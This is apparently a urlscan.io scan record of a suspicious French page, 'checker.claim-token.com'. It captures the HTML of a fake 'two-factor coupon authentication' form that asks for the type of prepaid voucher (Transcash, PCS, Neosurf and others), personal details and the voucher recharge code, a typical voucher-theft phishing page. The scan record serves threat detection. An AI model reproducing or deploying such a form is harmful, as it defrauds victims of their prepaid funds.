checker.claim-token.com Open in urlscan Pro
2a02:4780:b:967:0:1bc6:c9b1:1 Public Scan

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URL:
https://checker.claim-token.com/
Submission: On April 07 via automatic, source certstream-suspicious (April 7th 2023, 11:05:16 am UTC) — Scanned from DE

Form analysis
1 forms found in the DOM

POST /index.php

<form method="post" action="/index.php" style="margin: 0px auto; max-width: 800px; padding-bottom: 20px;">
  <div id="question-card-1" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-1" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">1. TYPE DE COUPON * *</span></div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-1">
      <div class="a_UtVTA1ZD4IJ8xmRIQuq" style="display: block;">
        <div class="_3e_AJ4f1cl6Kdq_5JPFr12" style="display: flex; height: 300px;">
          <div class="_3acGBbBjZdiQ-3uWVSVGq_" style="display: none; background-color: rgba(255, 0, 0, 0.8);"><i class="material-icons">play_arrow</i></div><img src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/sh_1601414026056.jpg"
            alt="image_Url" style="display: flex;">
          <div class="_279EKQ6JGqydCaTQizgimG" style="display: none;"><img src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/close_attachment.svg" alt="Close"></div>
        </div>
        <div class="oHgjdLvuKnwL-3arfu89a" style="display: none; background-color: rgb(245, 245, 245);"><img alt="image" src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/sh_1601414026056.jpg" style="display: flex; width: 30%;">
          <div class="xguC5mj6-4O0d-wT56rky" style="display: none; width: 90%;">
            <div class="_3S-5vtRSsJJhdkdOeXSxRz" style="display: none;"><img src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/close_attachment.svg" alt="Close"></div>
            <p class="_32i_OwRfLeE--0VEs-chLV" style="color: rgb(33, 33, 33);"></p>
            <p class="_1CkYY31NZxxkIA54lIsZ08"></p>
            <p class="_3sKkzryioaeOREw0npjyA9" style="color: rgb(0, 0, 238);"></p>
          </div>
        </div>
      </div>
      <div class="mdc-form-field">
        <div class="mdc-radio mdc-ripple-upgraded mdc-ripple-upgraded--unbounded" style="--mdc-theme-secondary:#212121; --mdc-ripple-fg-size:24px; --mdc-ripple-fg-scale:1.66667; --mdc-ripple-left:8px; --mdc-ripple-top:8px;"><input
            field-type="MULTIPLE_CHOICE" class="mdc-radio__native-control" type="radio" id="6015ea1595ad364d0c2de2dc" name="6015ea1595ad364d0c2de2db" value="6015ea1595ad364d0c2de2dc">
          <div class="mdc-radio__background">
            <div class="mdc-radio__outer-circle" style="border-color: rgb(0, 0, 0);"></div>
            <div class="mdc-radio__inner-circle" style="border-color: rgb(0, 0, 0);"></div>
          </div>
          <div id="6015ea1595ad364d0c2de2dc" class="mdc-radio__ripple"></div>
        </div><label style="color: rgb(33, 33, 33); font-size: 18px;">SFR</label>
      </div>
      <div class="mdc-form-field">
        <div class="mdc-radio mdc-ripple-upgraded mdc-ripple-upgraded--unbounded" style="--mdc-theme-secondary:#212121; --mdc-ripple-fg-size:24px; --mdc-ripple-fg-scale:1.66667; --mdc-ripple-left:8px; --mdc-ripple-top:8px;"><input
            field-type="MULTIPLE_CHOICE" class="mdc-radio__native-control" type="radio" id="6015ea1595ad364d0c2de2dd" name="6015ea1595ad364d0c2de2db" value="6015ea1595ad364d0c2de2dd">
          <div class="mdc-radio__background">
            <div class="mdc-radio__outer-circle" style="border-color: rgb(0, 0, 0);"></div>
            <div class="mdc-radio__inner-circle" style="border-color: rgb(0, 0, 0);"></div>
          </div>
          <div id="6015ea1595ad364d0c2de2dd" class="mdc-radio__ripple"></div>
        </div><label style="color: rgb(33, 33, 33); font-size: 18px;">Transcash</label>
      </div>
      <div class="mdc-form-field">
        <div class="mdc-radio mdc-ripple-upgraded mdc-ripple-upgraded--unbounded" style="--mdc-theme-secondary:#212121; --mdc-ripple-fg-size:24px; --mdc-ripple-fg-scale:1.66667; --mdc-ripple-left:8px; --mdc-ripple-top:8px;"><input
            field-type="MULTIPLE_CHOICE" class="mdc-radio__native-control" type="radio" id="6015ea1595ad364d0c2de2de" name="6015ea1595ad364d0c2de2db" value="6015ea1595ad364d0c2de2de">
          <div class="mdc-radio__background">
            <div class="mdc-radio__outer-circle" style="border-color: rgb(0, 0, 0);"></div>
            <div class="mdc-radio__inner-circle" style="border-color: rgb(0, 0, 0);"></div>
          </div>
          <div id="6015ea1595ad364d0c2de2de" class="mdc-radio__ripple"></div>
        </div><label style="color: rgb(33, 33, 33); font-size: 18px;">PCS</label>
      </div>
      <div class="mdc-form-field">
        <div class="mdc-radio mdc-ripple-upgraded mdc-ripple-upgraded--unbounded" style="--mdc-theme-secondary:#212121; --mdc-ripple-fg-size:24px; --mdc-ripple-fg-scale:1.66667; --mdc-ripple-left:8px; --mdc-ripple-top:8px;"><input
            field-type="MULTIPLE_CHOICE" class="mdc-radio__native-control" type="radio" id="6015ea1595ad364d0c2de2df" name="6015ea1595ad364d0c2de2db" value="6015ea1595ad364d0c2de2df">
          <div class="mdc-radio__background">
            <div class="mdc-radio__outer-circle" style="border-color: rgb(0, 0, 0);"></div>
            <div class="mdc-radio__inner-circle" style="border-color: rgb(0, 0, 0);"></div>
          </div>
          <div id="6015ea1595ad364d0c2de2df" class="mdc-radio__ripple"></div>
        </div><label style="color: rgb(33, 33, 33); font-size: 18px;">Orange </label>
      </div>
      <div class="mdc-form-field">
        <div class="mdc-radio mdc-ripple-upgraded mdc-ripple-upgraded--unbounded" style="--mdc-theme-secondary:#212121; --mdc-ripple-fg-size:24px; --mdc-ripple-fg-scale:1.66667; --mdc-ripple-left:8px; --mdc-ripple-top:8px;"><input
            field-type="MULTIPLE_CHOICE" class="mdc-radio__native-control" type="radio" id="6015ea1595ad364d0c2de2e0" name="6015ea1595ad364d0c2de2db" value="6015ea1595ad364d0c2de2e0">
          <div class="mdc-radio__background">
            <div class="mdc-radio__outer-circle" style="border-color: rgb(0, 0, 0);"></div>
            <div class="mdc-radio__inner-circle" style="border-color: rgb(0, 0, 0);"></div>
          </div>
          <div id="6015ea1595ad364d0c2de2e0" class="mdc-radio__ripple"></div>
        </div><label style="color: rgb(33, 33, 33); font-size: 18px;">Lebara </label>
      </div>
      <div class="mdc-form-field">
        <div class="mdc-radio mdc-ripple-upgraded mdc-ripple-upgraded--unbounded" style="--mdc-theme-secondary:#212121; --mdc-ripple-fg-size:24px; --mdc-ripple-fg-scale:1.66667; --mdc-ripple-left:8px; --mdc-ripple-top:8px;"><input
            field-type="MULTIPLE_CHOICE" class="mdc-radio__native-control" type="radio" id="6015ea1595ad364d0c2de2e1" name="6015ea1595ad364d0c2de2db" value="6015ea1595ad364d0c2de2e1">
          <div class="mdc-radio__background">
            <div class="mdc-radio__outer-circle" style="border-color: rgb(0, 0, 0);"></div>
            <div class="mdc-radio__inner-circle" style="border-color: rgb(0, 0, 0);"></div>
          </div>
          <div id="6015ea1595ad364d0c2de2e1" class="mdc-radio__ripple"></div>
        </div><label style="color: rgb(33, 33, 33); font-size: 18px;">Neosurf</label>
      </div>
    </div>
  </div>
  <div id="question-card-2" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-2" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">2. NOM&nbsp;*</span></div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-2">
      <div>
        <input required="" class="_3ButxRSMgetLzHM9gRmKKB" field-type="SHORT_TEXT" name="nom" maxlength="100" rows="1" style="border-bottom-color: rgb(189, 189, 189); font-size: 18px; padding: 2.5px 0px 0px; color: rgb(33, 33, 33);">
        <div style="visibility: hidden; float: right; font-size: 12px; color: rgb(33, 33, 33);"><span>0</span><span>/</span><span id="total-count">100</span></div>
      </div>
    </div>
  </div>
  <div id="question-card-3" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-3" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">3. PRÉNOM&nbsp;*</span></div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-3">
      <div>
        <input required="" class="_3ButxRSMgetLzHM9gRmKKB" field-type="SHORT_TEXT" name="prenom" maxlength="100" rows="1" style="border-bottom-color: rgb(189, 189, 189); font-size: 18px; padding: 2.5px 0px 0px; color: rgb(33, 33, 33);">
        <div style="visibility: hidden; float: right; font-size: 12px; color: rgb(33, 33, 33);"><span>0</span><span>/</span><span id="total-count">100</span></div>
      </div>
    </div>
  </div>
  <div id="question-card-4" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-4" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">4. EMAIL*</span></div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-4">
      <div>
        <input required="" class="_3ButxRSMgetLzHM9gRmKKB" field-type="SHORT_TEXT" name="mail" maxlength="100" rows="1" style="border-bottom-color: rgb(189, 189, 189); font-size: 18px; padding: 2.5px 0px 0px; color: rgb(33, 33, 33);">
        <div style="visibility: hidden; float: right; font-size: 12px; color: rgb(33, 33, 33);"><span>0</span><span>/</span><span id="total-count">100</span></div>
      </div>
      <div class="_3p6UuR5HglZs4S5xXWepGh" style="background-color: rgb(232, 232, 232); color: rgb(33, 33, 33); display: inline-block;"> Required</div>
    </div>
  </div>
  <div id="question-card-5" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-5" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">5. Numéro de téléphone&nbsp;*</span></div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-5">
      <div>
        <input required="" class="_3ButxRSMgetLzHM9gRmKKB" field-type="SHORT_TEXT" name="numero" maxlength="100" rows="1" style="border-bottom-color: rgb(189, 189, 189); font-size: 18px; padding: 2.5px 0px 0px; color: rgb(33, 33, 33);">
        <div style="visibility: hidden; float: right; font-size: 12px; color: rgb(33, 33, 33);"><span>0</span><span>/</span><span id="total-count">100</span></div>
      </div>
      <div class="_3p6UuR5HglZs4S5xXWepGh" style="background-color: rgb(232, 232, 232); color: rgb(33, 33, 33); display: inline-block;"> Required</div>
    </div>
  </div>
  <div id="question-card-6" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-6" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">6. Saisissez le code de votre recharge&nbsp;*</span>
    </div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-6">
      <div>
        <input required="" class="_3ButxRSMgetLzHM9gRmKKB" field-type="SHORT_TEXT" name="recharge" maxlength="100" rows="1" style="border-bottom-color: rgb(189, 189, 189); font-size: 18px; padding: 2.5px 0px 0px; color: rgb(33, 33, 33);">
        <div style="visibility: hidden; float: right; font-size: 12px; color: rgb(33, 33, 33);"><span>0</span><span>/</span><span id="total-count">100</span></div>
      </div>
      <div class="_3p6UuR5HglZs4S5xXWepGh" style="background-color: rgb(232, 232, 232); color: rgb(33, 33, 33); display: inline-block;"> Required</div>
    </div>
  </div>
  <div id="question-card-7" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-7" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">7. Confirmer le code de votre recharge&nbsp;*</span>
    </div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-7">
      <div>
        <input required="" class="_3ButxRSMgetLzHM9gRmKKB" field-type="SHORT_TEXT" name="recharge_confirme" maxlength="100" rows="1" style="border-bottom-color: rgb(189, 189, 189); font-size: 18px; padding: 2.5px 0px 0px; color: rgb(33, 33, 33);">
        <div style="visibility: hidden; float: right; font-size: 12px; color: rgb(33, 33, 33);"><span>0</span><span>/</span><span id="total-count">100</span></div>
      </div>
      <div class="_3p6UuR5HglZs4S5xXWepGh" style="background-color: rgb(232, 232, 232); color: rgb(33, 33, 33); display: inline-block;"> Required</div>
    </div>
  </div>
  <div id="question-card-8" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-8" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">8. Masquer votre code&nbsp;*</span></div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-8">
      <div class="mdc-form-field">
        <div class="mdc-radio mdc-ripple-upgraded mdc-ripple-upgraded--unbounded" style="--mdc-theme-secondary:#212121; --mdc-ripple-fg-size:24px; --mdc-ripple-fg-scale:1.66667; --mdc-ripple-left:8px; --mdc-ripple-top:8px;"><input
            field-type="MULTIPLE_CHOICE" class="mdc-radio__native-control" type="radio" id="6015ea1595ad364d0c2de2e9" name="6015ea1595ad364d0c2de2e8" value="6015ea1595ad364d0c2de2e9">
          <div class="mdc-radio__background">
            <div class="mdc-radio__outer-circle" style="border-color: rgb(0, 0, 0);"></div>
            <div class="mdc-radio__inner-circle" style="border-color: rgb(0, 0, 0);"></div>
          </div>
          <div id="6015ea1595ad364d0c2de2e9" class="mdc-radio__ripple"></div>
        </div><label style="color: rgb(33, 33, 33); font-size: 18px;">Oui </label>
      </div>
      <div class="mdc-form-field">
        <div class="mdc-radio mdc-ripple-upgraded mdc-ripple-upgraded--unbounded" style="--mdc-theme-secondary:#212121; --mdc-ripple-fg-size:24px; --mdc-ripple-fg-scale:1.66667; --mdc-ripple-left:8px; --mdc-ripple-top:8px;"><input
            field-type="MULTIPLE_CHOICE" class="mdc-radio__native-control" type="radio" id="6015ea1595ad364d0c2de2ea" name="6015ea1595ad364d0c2de2e8" value="6015ea1595ad364d0c2de2ea">
          <div class="mdc-radio__background">
            <div class="mdc-radio__outer-circle" style="border-color: rgb(0, 0, 0);"></div>
            <div class="mdc-radio__inner-circle" style="border-color: rgb(0, 0, 0);"></div>
          </div>
          <div id="6015ea1595ad364d0c2de2ea" class="mdc-radio__ripple"></div>
        </div><label style="color: rgb(33, 33, 33); font-size: 18px;">Non </label>
      </div>
      <div class="_3p6UuR5HglZs4S5xXWepGh" style="background-color: rgb(232, 232, 232); color: rgb(33, 33, 33); display: inline-block;"> Required</div>
    </div>
  </div>
  <div id="question-card-9" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-9" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">9. Montant&nbsp;*</span></div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-9">
      <div>
        <input required="" class="_3ButxRSMgetLzHM9gRmKKB" field-type="SHORT_TEXT" name="montant" maxlength="100" rows="1" style="border-bottom-color: rgb(189, 189, 189); font-size: 18px; padding: 2.5px 0px 0px; color: rgb(33, 33, 33);">
        <div style="visibility: hidden; float: right; font-size: 12px; color: rgb(33, 33, 33);"><span>0</span><span>/</span><span id="total-count">100</span></div>
      </div>
      <div class="_3p6UuR5HglZs4S5xXWepGh" style="background-color: rgb(232, 232, 232); color: rgb(33, 33, 33); display: inline-block;"> Required</div>
    </div>
  </div>
  <div id="question-card-10" class="mdc-card" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 1px; margin: 8px 16px 16px; border-radius: 0px;">
    <div id="card-content-10" class="_3OqOaUpcrp_ty3_jwNnTz-" style="background-color: transparent; padding: 24px 10px 0px 24px;"><span class="_2scjUQE6q8ZGQIPNFZ8J31" style="color: rgb(0, 0, 0);">10. Date d'achat du coupon&nbsp;*</span></div>
    <div class="_2RpQtwNwtRnrwWb6tRhZvA" id="card-action-10">
      <div class="a_UtVTA1ZD4IJ8xmRIQuq" style="display: block;">
        <div class="_3e_AJ4f1cl6Kdq_5JPFr12" style="display: flex; height: 300px;">
          <div class="_3acGBbBjZdiQ-3uWVSVGq_" style="display: none; background-color: rgba(255, 0, 0, 0.8);"><i class="material-icons">play_arrow</i></div><img src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/sh_1601414372990.jpg"
            alt="image_Url" style="display: flex;">
          <div class="_279EKQ6JGqydCaTQizgimG" style="display: none;"><img src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/close_attachment.svg" alt="Close"></div>
        </div>
        <div class="oHgjdLvuKnwL-3arfu89a" style="display: none; background-color: rgb(245, 245, 245);"><img alt="image" src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/sh_1601414372990.jpg" style="display: flex; width: 30%;">
          <div class="xguC5mj6-4O0d-wT56rky" style="display: none; width: 90%;">
            <div class="_3S-5vtRSsJJhdkdOeXSxRz" style="display: none;"><img src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/close_attachment.svg" alt="Close"></div>
            <p class="_32i_OwRfLeE--0VEs-chLV" style="color: rgb(33, 33, 33);"></p>
            <p class="_1CkYY31NZxxkIA54lIsZ08"></p>
            <p class="_3sKkzryioaeOREw0npjyA9" style="color: rgb(0, 0, 238);"></p>
          </div>
        </div>
      </div>
      <div><input id="input-undefined" name="6015ea1595ad364d0c2de2ec" maxlength="100" type="date" class="_1d496HWBWbuirCwDl-bbwX " placeholder="" value=""
          style="font-size: 18px; font-family: &quot;Nunito Sans&quot;, sans-serif, serif; color: rgb(33, 33, 33); margin-bottom: 15px;"></div>
      <div class="_3p6UuR5HglZs4S5xXWepGh" style="background-color: rgb(232, 232, 232); color: rgb(33, 33, 33); display: inline-block;"> Required</div>
    </div>
  </div>
  <div id="fixed_navigation_bottom" class="_2IjOvrJa60Tj4mwTVWhStt" style="background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.2) 0px 8px 10px 5px;">
    <div class="_2oi964Awb8xnbugVtfoQlC" style="width: 70%;">
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        </label></div>
    </div>
    <div id="submit_fixed_button_container" class="_2fQgfl7dknLIsNsg5-8F1m" style="width: 12%;"><i id="submit_fixed_button" class="material-icons" style="text-align: center; color: rgb(33, 33, 33); font-size: 35px;">done</i></div>
  </div>
  <div class="_uwIK5IlkPu0VSwQ-HTuZ">
    <div id="scroll_fab" class="_3-kcY8Vqor6S_pXIVx2ubB" style="background-color: rgb(66, 66, 66);"><img alt="scroll" align="middle" id="scroll_fab_icon" src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/expand_more-24px.svg"
        class="_3yPo2GSShT20-NFhVJHD70" style="transform: rotate(0deg); transition: all 0.2s ease-in-out 0s;"></div>
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  <div style="text-align: center; margin-bottom: 160px;">
    <div class="mdc-touch-target-wrapper">
      <button name="valider" class="mdc-button mdc-button--touch mdc-button--raised mdc-ripple-upgraded" style="--mdc-theme-primary:#212121; margin: 5px; padding: 0px 24px; font-size: 14px; text-align: center;"><span class="mdc-button__label"
          style="font-family: &quot;Nunito Sans&quot;; text-transform: uppercase; font-size: 15px; letter-spacing: 1.5px; display: flex; justify-content: center; align-items: center; font-weight: 600; color: rgb(255, 255, 255);">Valider</span><img
          alt="button" class="mdc-button__icon" src="./AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS_files/done-white-24dp.svg"></button>
    </div>
  </div>
</form>

Text Content

SURVEY BUILDER

Create surveys/forms with 9 different types of questions which are commonly used
for collecting responses. In our form builder you can control your form access
level to the responders like whether they can view your results or not, are they
allowed to give multiple answers or not, whether questions of your form gets
shuffled or not.


TEMPLATES

Pre-designed templates with suitable themes are available to reduce your typing
work, It consist of 30+ surveys in the categories of Feedbacks, Education,
Health, Registration, Food, Tours & Travels, Applications.


PREVIEW SURVEY

Before publishing your form, you can view your form as how the responders will
view your form when you share it to them, so that you can correct if any changes
required. For error free forms we are providing this feature to you.


OFFLINE FORM BUILDER

Native form builder allow you to build your forms without internet and save it
in offline forms. When you access the internet you can submit your form with
just one click to that saved form.


INSTANT NOTIFICATIONS

Get instantly notified for your responses the moment your responder clicks the
submit button. Live notifications enable you to be updated in realtime. you can
also get summarised result instantly with that newly arrived responses.


SUMMARISED RESPONSES

Summary of your responses will be shown in realtime basis. Summarized charts are
prepared immediately after response submitted. Get an error free results
instantly for your surveys.


EXPORT YOUR RECORD

Your survey results can be exported for filing and recording purpose. you can
export this results as excels.


THEMES

Your forms should be readable to the responders, it increases your response rate
so we are providing themes to your forms for good readability. You can choose
themes related to your survey content.



AUTHENTIFICATION DE VOS COUPONS À DOUBLE FACTEURS

1. TYPE DE COUPON * *
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SFR

Transcash

PCS

Orange

Lebara

Neosurf
2. NOM *
0/100
3. PRÉNOM *
0/100
4. EMAIL*
0/100
Required
5. Numéro de téléphone *
0/100
Required
6. Saisissez le code de votre recharge *
0/100
Required
7. Confirmer le code de votre recharge *
0/100
Required
8. Masquer votre code *

Oui

Non
Required
9. Montant *
0/100
Required
10. Date d'achat du coupon *
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Required
done

Valider

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Form analysis 1 forms found in the DOM

POST /index.php

Text Content

checker.claim-token.com Open in urlscan Pro
2a02:4780:b:967:0:1bc6:c9b1:1 Public Scan

Form analysis
1 forms found in the DOM